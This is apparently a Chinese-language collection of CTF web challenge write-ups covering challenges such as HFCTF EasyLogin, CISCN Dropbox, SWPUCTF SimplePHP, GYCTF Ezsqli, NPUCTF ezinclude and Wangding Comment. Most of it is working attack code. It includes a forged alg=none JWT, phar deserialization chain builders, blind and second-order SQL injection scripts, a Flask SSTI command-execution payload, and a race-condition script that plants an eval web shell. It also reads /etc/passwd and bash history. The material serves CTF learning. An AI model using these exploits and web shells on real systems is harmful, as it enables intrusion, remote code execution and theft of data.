$action = isset($_GET['action']) ? $_GET['action'] : "index";
if (!in_array($action, ['login', 'reg']) && !isset($_SESSION['username'])) {
header("Location: /?action=login");
exit;
}
switch ($action) {
case 'login':
if (isset($_POST['username'])) {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
$res = query("select * from users where username='{$username}' and password='{$password}';");
if ($res) {
$_SESSION['username'] = $res['username'];
header("Location: /?action=index");
exit;
}
}
?>
<h1>Login</h1>
<form action="/?action=login" method="POST">
Username : <input type="text" name="username">
<br>
Password : <input type="password" name="password">
<br>
<a href="/?action=reg">Go to Register</a>
<input type="submit" value="Login">
</form>
<?php
break;
case 'reg':
if (isset($_POST['username']) && $_POST['username'] != "") {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if (mysql_query("insert into users(username,password,info) values ('{$username}','{$password}','十月太懒,没有简介');")) {
header("Location: /?action=login");
} else {
header("Location: /?action=reg&msg=注册失败");
}
exit;
} else {
?>
<h1>Register</h1>
<div><?=addslashes($_GET['msg']);?></div>
<br>
<form action="/?action=reg" method="POST">
Username : <input type="text" name="username">
<br>
Password : <input type="password" name="password">
<br>
<a href="/?action=login">Go to Login</a>
<input type="submit" value="Register">
</form>
<?php
}
break;
case 'change':
if (isset($_POST['info'])) {
$info = addslashes($_POST['info']);
if (mysql_query("update users set info='{$info}' where username='{$_SESSION['username']}';")) {
header("Location: /?action=index");
} else {
header("Location: /?action=change&msg=修改失败");
}
exit;
}
break;
case 'logout':
session_destroy();
header("Location: /?action=login");
exit;
break;
case 'index':
default:
$info = query("select info from users where username='{$_SESSION['username']}';");
?>
<h1>Info</h1>
<div><?=addslashes($info['info']);?></div>
<hr>
<div><?=addslashes($_GET['msg']);?></div>
<br>
<form action="/?action=change" method="POST">
Info : <input type="text" name="info">
<br>
<input type="submit" value="Change">
</form>
<a href="/?action=logout">Logout</a>
<?php
break;
}
echo "<!-- October nb!!!!! -->";
[HFCTF2020]EasyLogin
查看app.js发现一段注释:
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
koa是基于nodejs的web框架,有固定的目录结构,/controllers/api.js:
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
可以将alg置为none,但是有对sid的限制,不能是undefined 或 null且必须满足0 ≤ sid < global.secrets.length,空数组绕过:
username=admin&password=12345&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1IiwiaWF0IjoxNzU0MjAzOTA3fQ.
Set-Cookie: sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTc1NDI5NjI2NDI1NywiX21heEFnZSI6ODY0MDAwMDB9; path=/; expires=Mon, 04 Aug 2025 08:31:04 GMT; httponly
Set-Cookie: sses:aok.sig=w4pfPZYLt2rCMLMnOCIp_BePdnU; path=/;
带着相应的cookie访问/api/flag,拿到flag:flag{a027f724-d12f-4dd7-b6ba-04132dfc38bb}
[CISCN2019 华北赛区 Day1 Web1]Dropbox
download.php存在任意文件下载,index.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php:
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
upload.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
download.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
根据class.php进行phar的构造:
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file = new File();
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
class File {
public $filename = "/flag.txt";
public function name() {
return basename($this->filename);
}
}
$obj = new User();
$obj->db = new FileList();
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($obj);
$phar -> stopBuffering();
?>
改后缀为.gif上传,delete.php会调用class.php中delete函数的unlink,download.php会调用class.php中open函数的file_exists,但是download.php中存在open_basedir,限制了获取范围,只有delete才能获取/flag.txt:

[SWPUCTF 2018]SimplePHP
function.php:
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
upload_file.php:
<?php
include 'function.php';
upload_file();
?>
base.php:
<?php echo $_SERVER['REMOTE_ADDR'];?>
index.php:
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
file.php:
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
class.php:
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
文件上传定死了后缀,没有unserialize入口,存在file_exists,尝试phar反序列化,构造的时候注意get魔术方法的参数$key就是无法访问的变量名,即"source":
<?php
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
class C1e4r
{
public $test;
public $str;
}
$o = new Test();
$o->params['source'] = "/var/www/html/f1ag.php";
$ob = new Show();
$ob->str['str'] = $o;
$obj = new C1e4r();
$obj->str = $ob;
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($obj);
$phar -> stopBuffering();
?>
改个后缀上传,在file.php实现file_exists触发phar反序列化:
?file=phar:///var/www/html/upload/0208c520bdd56cda1421798ee798e6d6.jpg
GIF89a<?php __HALT_COMPILER(); ?>
PD9waHAgDQoJLy8kYSA9ICdmbGFnezg0Yjg2NzIwLWNkNDAtNGZmOS1hOTNhLTgzNzgzMjAxNjA2ZX0nOw0KID8+DQoNCg==
base64解码得到f1ag.php:
<?php
//$a = 'flag{84b86720-cd40-4ff9-a93a-83783201606e}';
?>
参考文章:
https://xz.aliyun.com/news/6303
https://www.php.net/manual/en/language.oop5.overloading.php#object.get
[GYCTF2020]Ezsqli
过滤了 if case in limit for union,导致常规的information_schema无法使用,先测试一下基本的布尔注入格式:
0||(length(database())=22)
用sys.schema_table_statistics_with_buffer来绕过information_schema,但是只能获取表名无法获取列名
import requests
import string
url = "http://8aee5d6a-4903-4e9d-869b-18fe17c5fa0b.node5.buuoj.cn:81/index.php"
chars = ",_-" + string.ascii_lowercase + string.ascii_uppercase + string.digits
tables = ""
for i in range(1,40):
for c in chars:
# 0||(ascii(substr( (select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database() ),1,1))=117)
payload = f"0||(ascii(substr( (select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database() ),{i},1))={ord(c)})"
data = {"id": payload}
resp = requests.post(url,data)
if "Nu1L" in resp.text:
print(c)
tables += c
break
print(tables)
# users233333333333333,f1ag_1s_h3r3_hhhhh
由于过滤了union,只能用比较ascii值的无列名注入,需要测试一下列数,还好本题表中只有一行,并且第一列就是1,否则还需要用到limit 0,1并爆出完整的第一列的值:
import requests
import time
url = "http://71275840-d765-4954-aefa-bc558505f6a0.node5.buuoj.cn:81"
chars = r"-0123456789abcdefgl{}" # 按照ascii值大小排列,用于无列名注入
flag = ""
for i in range(0,42):
for c in chars:
payload = f"((select 1,'{flag+c}') > (select * from f1ag_1s_h3r3_hhhhh))"
data = {"id": payload}
resp = requests.post(url,data)
if "Nu1L" in resp.text:
cc = chars[chars.index(c)-1]
print(cc)
flag += cc
break
print(flag)
# flag{67082dc1-010b-4e09-8734-cee942fbe7ab}
参考文章:
https://exp10it.io/2022/08/mysql-no-column-name-isql-injection/
https://geekdaxue.co/read/yuandian-efswk@es3ll7/big7qv
[RootersCTF2019]I_<3_Flask
注入点为name,有参数长度限制,没有禁用config:
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
flag{b9856c2c-0829-44e4-925a-78ded6c2c35c}
–
[NPUCTF2020]ezinclude
Cookie中的哈希就是对应name的pass,传入相应参数再看源码:
?name=1&pass=576322dd496b99d07b5b0f7fa7934a25
<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>
直接跳转会被定向到404页面,查看源码:
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>
先用php伪协议看看flflflflag.php内容,base64解码:
?file=php://filter/read/convert.base64-encode/resource=flflflflag.php
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
扫一下目录,找到一个dir.php,同样用伪协议获取源码:
<?php
var_dump(scandir('/tmp'));
?>
方法一:利用PHP_SESSION_UPLOAD_PROGRESS+条件竞争写入一句话木马
import threading
import requests
import sys
url = "http://0669c1b7-e523-4106-b94e-af29da2fcbbc.node5.buuoj.cn:81/flflflflag.php"
sessid = "phpinfo"
def upload():
files = [
('file', ('a.txt', 'a'*1024*10)),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php phpinfo();file_put_contents('shell.php', '<?php eval($_REQUEST[1]);?>');?>"}
while True:
res = requests.post(
url,
data = data,
files = files,
cookies = {'PHPSESSID': sessid},
)
def read():
while True:
response = requests.get(
f'{url}?file=/tmp/sess_{sessid}',
)
if 'flag{' in response.text:
print(response.text)
sys.exit(0)
for i in range(2):
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=read)
t1.start()
t2.start()
方法二:利用strip_tags过滤器
import requests
from io import BytesIO
payload = "<?php eval($_REQUEST[1]);?>"
data = {'file': BytesIO(payload.encode())}
url = "http://0669c1b7-e523-4106-b94e-af29da2fcbbc.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url,files=data,allow_redirects=False)
访问dir.php获取tmp下临时文件:
string(9) "phpdazEZv"
包含该文件即可rce flag{71136865-f2df-413e-98aa-2f66f26c324c}
参考文章:
https://exp10it.io/2022/11/buuctf-web-writeup-6/#npuctf2020ezinclude
https://www.freebuf.com/vuls/202819.html
https://www.cnblogs.com/EddieMurphy-blogs/p/17992004
[NCTF2019]SQLi
robots.txt中禁止访问hint.txt,hint.txt:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
利用反斜杠转义引号+%00截断尾部引号实现可控passwd
抓包发现如果从网页中传入%00其实是POST%2500,猜测后端是对参数进行了urldecode,直接POST传%00即可
username=1\&passwd=||passwd/**/regexp/**/"^y";%00
如果成功匹配到passwd会在相应包header中返回location: welcome.php,爆破出passwd:
import requests
import string
from urllib import parse
url = "http://d5f06424-bdcf-4fd0-95b8-8cf3ec61d0ef.node5.buuoj.cn:81"
chars = "_" + string.ascii_lowercase + string.digits
n = parse.unquote("%00")
passwd = ""
for i in range(80):
for c in chars:
payload = f'||passwd/**/regexp/**/"^{passwd+c}";{n}'
data = {"username": "1\\", "passwd": payload}
resp = requests.post(url,data)
if "welcome" in resp.text:
print(c)
passwd += c
break
print(passwd)
# you_will_never_know7788990
flag{8cad5c15-4ca5-4405-9735-ca1089060f97}
[网鼎杯 2020 半决赛]AliceWebsite
index.php:
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>
文件包含,尝试获取/flag:flag{36b34fb4-3c20-418e-b83c-a7cd5459efcb}
[网鼎杯 2018]Comment
弱密码,账号zhangwei,密码zhangwei666
存在.git源码泄露,直接用githacker获取到的write_do.php不完整,回滚一下记录:
git log --reflog
commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800
WIP on master: bfbdf21 add write_do.php
commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800
index on master: bfbdf21 add write_do.php
commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master, origin/master, origin/HEAD)
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:47:29 2018 +0800
add write_do.php
有stash记录,查看并恢复stash:
git stash list
stash@{0}: WIP on master: bfbdf21 add write_do.php
git stash apply stash@{0}
On branch master
Your branch is up to date with 'origin/master'.
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: write_do.php
no changes added to commit (use "git add" and/or "git commit -a")
完整的write_do.php:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
没有index.php和comment.php的代码,只知道INSERT语句的具体内容,无法得知相应页面获取数据的具体语句,可以先尝试构造注入语句。由于是多行的SQL语句,#注释符只对单行生效,因此需要用到/**/,注入category=1',content=(select user()),/*,content=*/#:
insert into comment
set category = '1',content=(select user()),/*',
content = '*/#',
bo_id = '$bo_id'"
comment.php中存在二次注入,获取用户权限为:root@localhost
尝试利用load_file读取/etc/passwd:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false www:x:500:500:www:/home/www:/bin/bash
尝试读取 /home/www/.bash_history:
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
删除了/var/www/html目录下的.DS_Store文件,但是之前在/tmp目录中解压得到的该文件仍存在,用hex读取二进制文件/tmp/html/.DS_Store,本地转换为原文件后用工具解析:
python main.py .DS_Store
Count: 11
bootstrap
comment.php
css
flag_8946e1ff1ee3e40f.php
fonts
index.php
js
login.php
mysql.php
vendor
write_do.php
读取flag文件:
<?php
$flag="flag{da6b6412-ea59-4408-a49e-34af567e11aa}";
?>
参考文章:
https://www.freebuf.com/articles/web/410701.html
https://cn-sec.com/archives/2696887.html
https://exp10it.io/2022/11/buuctf-web-writeup-6/#%E7%BD%91%E9%BC%8E%E6%9D%AF-2018comment
https://zhuanlan.zhihu.com/p/603142951
https://github.com/gehaxelt/Python-dsstore
[HarekazeCTF2019]encode_and_encode
query.php:
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
json解析有对\uxxxx解码的特性,可以利用json_decode绕过关键字过滤,实现php伪协议读取flag:
{"page":"\u0070hp://filter/convert.base64-encode/resource=/fla\u0067"}
flag{6f77661e-36e2-4a89-bc91-1de70d9d651a}
[CISCN2019 华东南赛区]Double Secret
访问/secret,要传入参数secret,多试几次就有报错信息,查看app.py:
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
SSTI+RC4+URLencode:
.%14%1E%12ä84mg%C2%9CË%00%C2%81%C2%8D¸%C2%97%0B%C2%9EF%3B%C2%88m®M5%C2%96%3D%C2%9D[Ø7ê%12´%05%C2%84A¿%17ÛhÏ%C2%8Fáa%0F®%09%C2%A0®yS*¢d|%C2%98/%00%C2%90é%03Y²Û%1F¶H%3D%0A%23ñ[%C2%9Cp®n%C2%96i]v%7FX%C2%92
‘class’ is not allowed. Secret is flag{4bc7eb1c-3a08-469d-a3f9-312f26ad4c31}